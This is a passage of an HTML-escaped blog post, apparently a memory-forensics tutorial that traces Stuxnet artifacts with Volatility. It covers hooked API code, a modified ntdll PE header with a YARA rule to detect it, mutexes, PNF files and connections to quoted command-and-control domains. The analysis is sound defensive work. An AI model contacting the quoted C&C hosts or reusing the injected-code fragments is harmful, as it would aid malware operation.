new;"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x01447896&lt;/span&gt;   8d 54 24 08 cd 2e eb 0c 5a 8d 54 24 08 64 ff 15    .T$.....Z.T$.d..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x014478a6   c0 00 00 00 c3 e8 53 01 00 00 85 d2 74 20 50 57    ......S.....t PW&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hit: 8d542408cd2e&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x014478e1&lt;/span&gt;   8d 54 24 08 cd 2e eb 0c 5a 8d 54 24 08 64 ff 15    .T$.....Z.T$.d..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x014478f1   c0 00 00 00 c3 81 7c 24 08 ae 82 19 ae 75 03 33    ......|$.....u.3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hit: 8d542408cd2e&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x0144792b&lt;/span&gt;   8d 54 24 08 cd 2e eb 0c 5a 8d 54 24 08 64 ff 15    .T$.....Z.T$.d..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x0144793b   c0 00 00 00 c3 e8 be 00 00 00 85 d2 74 26 50 52    ............t&amp;amp;PR&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hit: 8d542408cd2e&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x0144797c&lt;/span&gt;   8d 54 24 08 cd 2e eb 0c 5a 8d 54 24 08 64 ff 15    .T$.....Z.T$.d..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x0144798c   c0 00 00 00 c3 e8 6d 00 00 00 85 d2 52 74 45 8b    ......m.....RtE.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hit: 8d542408cd2e&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x014479ee&lt;/span&gt;   8d 54 24 08 cd 2e eb 0c 5a 8d 54 24 08 64 ff 15    .T$.....Z.T$.d..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x014479fe   c0 00 00 00 c3 50 56 57 51 52 83 ec 1c 8b c4 6a    .....PVWQR.....j&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;As  you can see, both memory regions have 6 hits, which coincides with the 6  hooked APIs.  But why are there two memory regions in the first place?  Well, just  guessing here but based on the relative size (140KB to 1KB),  the  0x013F0000 region contains the code responsible for installing the  API hooks.  It allocated and copied a smaller 1KB chunk of itself to  0x00940000.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Artifact 7: Patched PE Header&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote style="color: rgb(51, 51, 255);"&gt;"To  hook the functions specified above, the malware allocates a memory  buffer for code that will dispatch calls to hooked functions, overwrite  some data in MZ header of the image with the code that transfers control  to the new functions, and hook the original functions by overwriting  its bodies..." [6]&lt;/blockquote&gt;In the previous artifact you  might remember us tracking an address at 0x7c900050. If ntdll.dll's base  is 0x7c900000, then the address we're tracking is in the PE header. In  order to hide code in ntdll.dll's PE header without breaking anything,  Stuxnet overwrites some inconsequential fields including most of the  "This program cannot be run in DOS mode" message.&lt;br /&gt;&lt;br /&gt;To detect the  malicious PE header modification, you can use the following yara rule  which alerts on any pages of memory that contain a PE header  and that do not contain the "This program cannot..." message. The rule  was saved to modified_pe_header.yar.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;rule modified_pe_header { &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  strings:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  $msg = "This program cannot"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  condition:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  uint16(0) == 0x5A4D and &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  uint32(uint32(0x3C)) == 0x00004550 and&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  not $msg&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;Now scan for the memory with malfind:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py malfind -D out -Y modified_pe_header.yar &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Volatile Systems Volatility Framework 2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Name                 Pid    Start      End        Tag    Hits Protect&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;services.exe            668&lt;/span&gt; &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x7C900000&lt;/span&gt; 0x7C9AEFFF Vad       1      7 (MM_EXECUTE_WRITECOPY)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Dumped to: out/services.exe.2273020.7c900000-7c9aefff.dmp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;YARA rule: modified_pe_header&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;svchost.exe             940 0x7C900000&lt;/span&gt; 0x7C9AEFFF Vad       1      7 (MM_EXECUTE_WRITECOPY)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Dumped to: out/svchost.exe.2061da0.7c900000-7c9aefff.dmp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;YARA rule: modified_pe_header&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;lsass.exe              1928 0x7C900000&lt;/span&gt; 0x7C9AEFFF Vad       1      7 (MM_EXECUTE_WRITECOPY)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Dumped to: out/lsass.exe.1e47c00.7c900000-7c9aefff.dmp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;YARA rule: modified_pe_header&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;The results tell you Stuxnet has modified ntdll.dll in three processes.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;Artifact 8: Mutexes&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;"Stuxnet communicates between different components via global mutexes." [4]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Based on this statement, you can use the &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#mutantscan"&gt;mutantscan&lt;/a&gt; and/or &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#handles"&gt;handles&lt;/a&gt;  plugins to list mutexes on the system. However, resources indicate that   the mutex name can be random (or at least pseudo-random). Without  doing  the necessary RE to see if there are any detectable patterns in  the  mutex name,  we don't really know what to look for. So how do we  find out which mutexes on the system are artifacts of Stuxnet?&lt;br /&gt;&lt;br /&gt;Since  Stuxnet injects code into services.exe (based on previous findings),  there is a good chance that services.exe has an open handle to the  mutex, or mutexes. Let's use the handles plugin to filter by object type  (Mutant) and process ID, also ignoring un-named mutexes:&lt;br /&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py handles -t Mutant -p 668&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.0&lt;br /&gt;Offset(V)    Pid    Type             Details&lt;br /&gt;0x81ee3968   668    Mutant           'SHIMLIB_LOG_MUTEX'&lt;br /&gt;0x81db23b0   668    Mutant           'ShimCacheMutex'&lt;br /&gt;0x8205fa78   668    Mutant           'PnP_Init_Mutex'&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x81fc3cc0   668    Mutant           '{5EC171BB-F130-4a19-B782-B6E655E091B2}'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x821b75e0   668    Mutant           '{E41362C3-F75C-4ec2-AF49-3CB6BCA591CA}'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;0x81f08b98   668    Mutant           'PrefetchFileCacheOwner'&lt;/span&gt;&lt;br /&gt;0x81f78e90   668    Mutant           'Spooler_Perf_Library_Lock_PID_01F'&lt;br /&gt;0x82287600   668    Mutant           '85991EC7-5621-4A6F-9453-DC19BAE9C542'&lt;br /&gt;0x82287600   668    Mutant           '85991EC7-5621-4A6F-9453-DC19BAE9C542'&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt; I've  highlighted three of the Stuxnet artifacts in red. But at this point,  pretend you still don't know. One advantage of using mutantscan is that  it prints the &lt;a href="http://code.google.com/p/volatility/source/browse/trunk/volatility/plugins/overlays/windows/win7_sp0_x86_vtypes.py#5433"&gt;OwnerThread member of each _KMUTANT&lt;/a&gt; (if its available). Here is some output to help drive this point home:&lt;br /&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py mutantscan -s &lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.0&lt;br /&gt;Offset     Obj Type   #Ptr #Hnd Signal Thread     CID        Name&lt;br /&gt;0x01e4dbe0 0x823c55e0    2    1      1 0x00000000            '_!SHMSFTHISTORY!_'&lt;br /&gt;0x01e8ab88 0x823c55e0    3    2      1 0x00000000            'c:!documents and settings!administrator!cookies!'&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x02108bb0 0x823c55e0    2    1      0 0x81fc0020 668:568    'PrefetchFileCacheOwner'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x021c3cd8 0x823c55e0    4    3      1 0x00000000            '{5EC171BB-F130-4a19-B782-B6E655E091B2}'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x023b75f8 0x823c55e0    2    1      0 0x81c6d180 668:476    '{E41362C3-F75C-4ec2-AF49-3CB6BCA591CA}'&lt;/span&gt;&lt;br /&gt;0x0240f300 0x823c55e0    2    1      1 0x00000000            'WPA_LT_MUTEX'&lt;br /&gt;0x0240f350 0x823c55e0    2    1      1 0x00000000            'WPA_RT_MUTEX'&lt;br /&gt;0x0241ef40 0x823c55e0    2    1      1 0x00000000            '.NET CLR Data_Perf_Library_Lock_PID_680'&lt;br /&gt;0x0242d248 0x823c55e0    2    1      0 0x8210d200 1712:1716  'SunJavaUpdateSchedulerMutex'&lt;br /&gt;[snip]&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;   Now we know that thread ID 568 owns the PrefetchFileCacheOwner mutex  and thread ID 476 owns the one that starts with "{E41362C3". Windows  doesn't track creation time for mutex objects, but it does for thread  objects. Let's see when the owning threads were created using the &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#thrdscan"&gt;thrdscan&lt;/a&gt; command:&lt;br /&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py thrdscan&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.0&lt;br /&gt;Offset     PID    TID    Create Time               Exit Time                 StartAddr&lt;br /&gt;---------- ------ ------ ------------------------- ------------------------- ----------&lt;br /&gt;0x021c0020    668 568    &lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;2011-06-03 04:26:55&lt;/span&gt;                                 0x7c8106e9&lt;br /&gt;0x01e6d180    668 476    &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;2011-06-03 04:26:55&lt;/span&gt;                                 0x7c8106e9&lt;br /&gt;[snip]&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;   Both threads were created at 04:26:55. The two malicious lsass.exe  processes discussed in Artifact 1 were also created at 04:26:55. Now we  have a direct temporal relationship between the times when Stuxnet  spawned the lsass.exe processes, when it injected code into services.exe  (resulting in several new threads), and when the mutexes were created.&lt;br /&gt;&lt;br /&gt;A  few things should be noted. The PrefetchFileCacheOwner is probably not  one of the "global mutexes used for communication" - it is one of the  side-effects of some action performed by the thread. Second, to confirm  my findings, I infected the system with Stuxnet again, this time with a  breakpoint set on CreateMutexW inside the services.exe process. Before  long, the breakpoint triggered twice:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-0txXvpqeYYM/TiUd8X7SROI/AAAAAAAACK8/lW0n-EForLk/s1600/globalmutexsvc.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 158px;" src="http://3.bp.blogspot.com/-0txXvpqeYYM/TiUd8X7SROI/AAAAAAAACK8/lW0n-EForLk/s320/globalmutexsvc.png" alt="" id="BLOGGER_PHOTO_ID_5630939832148706530" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-kFntpBRDuRg/TiWn3wBXtyI/AAAAAAAACLE/7OkcsDy6Yno/s1600/globalmutexsvc2.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 158px;" src="http://2.bp.blogspot.com/-kFntpBRDuRg/TiWn3wBXtyI/AAAAAAAACLE/7OkcsDy6Yno/s320/globalmutexsvc2.png" alt="" id="BLOGGER_PHOTO_ID_5631091485321967394" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;That's a wrap for this one!&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Artifact 9: File Objects&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;"The  final modifications made by the virus include the creation of four   additional files in the C:\Windows\Inf directory: Oem7a.pnf,   Mdmeric3.pnf, Mdmcpq3.pnf and Oem6c.pnf." [2] &lt;/span&gt;&lt;/blockquote&gt; Based on this statement, you can use the &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#handles"&gt;handles&lt;/a&gt; command to see if any processes currently have open handles to the specified files, or you can use &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#filescan"&gt;filescan&lt;/a&gt; to see if any FILE_OBJECT structures still reside in memory after the malware created them.&lt;br /&gt;&lt;pre&gt;&lt;span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py handles | grep -i .pnf&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Volatile Systems Volatility Framework 2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;$&lt;span style="font-weight: bold;"&gt; ./vol.py filescan | grep -i .pnf&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Volatile Systems Volatility Framework 2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x01dfa028 0x0x823eb040    1    0 R--r-- -          '\\WINDOWS\\inf\\oem7A.PNF'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x01e0d028 0x0x823eb040    1    0 -WD--- -          '\\WINDOWS\\inf\\mdmeric3.PNF'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x021b53c8 0x0x823eb040    1    0 RW---- -          '\\WINDOWS\\inf\\mdmcpq3.PNF'&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt; As  you can see, the output of the handles command is empty. Either the process that created the PNF files has terminated, or the process has already called &lt;a href="http://msdn.microsoft.com/en-us/library/ms724211%28v=vs.85%29.aspx"&gt;CloseHandle&lt;/a&gt;. However, filescan can still locate  traces of the activity, which is the whole reason filescan exists in the first place. Kudos to filescan!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;Artifact 10: Network Connections&lt;/span&gt;&lt;br /&gt;&lt;blockquote style="color: rgb(51, 51, 255);"&gt;"This  function [export #28] is responsible for performing actual data  exchange with the C&amp;amp;C server. In the event that there is no  iexplore.exe in the system, it calls this function from the address  space of the default browser: it starts the default browser as a new  process, injects into it the main module, and calls the function  performing data exchange.&lt;br /&gt;&lt;br /&gt;The malware communicates to the C&amp;amp;C  server through http. A list of URLs is included in the Stuxnet  configuration data of Stuxnet:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;www.mypremierfutbol.com&lt;/li&gt;&lt;li&gt;www.todaysfutbol.com" [6]&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/blockquote&gt;This  artifact was not present in the initial memory dump. Export #28 (the  function referred to in the quote) wasn't called for one reason or  another. To elicit the described behavior, I dumped memory a second  time, after manually coercing the execution of Export #28. Then using   connscan (one of the &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#Networking"&gt;Networking&lt;/a&gt; commands) you can see the evidence:&lt;br /&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py -f stuxnet2.vmem connscan &lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.0&lt;br /&gt;Offset     Local Address             Remote Address            Pid&lt;br /&gt;---------- ------------------------- ------------------------- ------&lt;br /&gt;0x01da9e68 192.168.16.129:1311       128.61.111.9:51442          1280&lt;br /&gt;0x01e4fe68 192.168.16.129:1233       128.61.111.9:21             1280&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;0x01eeebf0 172.16.237.145:1170       72.167.202.5:80              528&lt;/span&gt;&lt;br /&gt;0x020bf4e0 172.16.237.145:1045       96.17.106.99:80             1648&lt;br /&gt;0x0242ec28 172.16.237.145:1048       96.17.106.99:80             1708&lt;br /&gt;0x025069e8 172.16.237.145:1090       137.254.16.78:80             152&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&